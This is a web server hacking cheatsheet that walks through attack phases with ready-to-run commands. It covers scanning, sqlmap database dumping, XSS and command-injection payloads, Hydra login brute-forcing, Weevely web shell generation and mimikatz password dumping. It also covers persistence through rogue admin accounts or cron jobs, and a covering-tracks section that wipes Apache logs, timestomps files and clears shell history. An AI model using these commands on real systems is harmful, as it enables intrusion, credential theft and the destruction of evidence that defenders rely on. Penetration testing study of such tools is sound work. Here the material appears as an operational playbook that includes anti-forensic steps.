Web Server Hacking - Practical Cheatsheet

This cheatsheet provides a detailed step-by-step methodology for hacking web servers, including tools, commands, and practical usage examples. It covers reconnaissance, scanning, enumeration, exploitation, and post-exploitation with beginner to advanced tools.

# 1. Reconnaissance

* Nmap: nmap -sV -p- <target>
* WhatWeb: whatweb <target>
* Wappalyzer (Browser Extension): Identify frameworks, CMS, servers, etc.
* theHarvester: theHarvester -d <domain> -b all
* subfinder: subfinder -d <domain>

# 2. Vulnerability Scanning

* Nikto: nikto -h <target>
* Nmap NSE: nmap --script vuln <target>
* OpenVAS: Run web vulnerability scan
* Burp Suite Active Scan: Right-click → Do Active Scan
* ffuf (Fuzzing): ffuf -u http://<target>/FUZZ -w /path/to/wordlist

# 3. Directory & File Enumeration

* Gobuster: gobuster dir -u http://<target> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
* dirb: dirb http://<target>
* feroxbuster: feroxbuster -u http://<target> -w /path/to/wordlist

# 4. Exploitation

* Burp Suite (Manual Exploitation): Intercept, modify, and replay requests
* SQLMap (SQL Injection): sqlmap -u "http://<target>/page.php?id=1" --batch --dump
* XSS Exploitation: <script>alert('XSS')</script>
* Command Injection (manual): http://<target>/page.php?cmd=ls
* Metasploit: use exploit/multi/http/struts\_dmi\_exec

# 5. Authentication Attacks

* Hydra: hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
* Burp Suite Intruder: Set payloads to brute-force login
* Medusa: medusa -h <target> -u admin -P rockyou.txt -M http

# 6. File Upload & Web Shells

* Manual Upload: Upload PHP/JSP/ASP shell
* Weevely: weevely generate password shell.php
* Metasploit Web Delivery: use exploit/multi/script/web\_delivery

# 7. Post Exploitation

* Meterpreter: sessions -i <id>
* Privilege Escalation: linpeas.sh (Linux), winPEAS.exe (Windows)
* Password Dumping: mimikatz sekurlsa::logonpasswords
* Persistence: Create admin user, cronjob, or scheduled task

# 8. Covering Tracks

* Log Clearing (Linux): echo > /var/log/apache2/access.log
* Metasploit Timestomp: timestomp <file> -z
* Clear Bash History: history -c && unset HISTFILE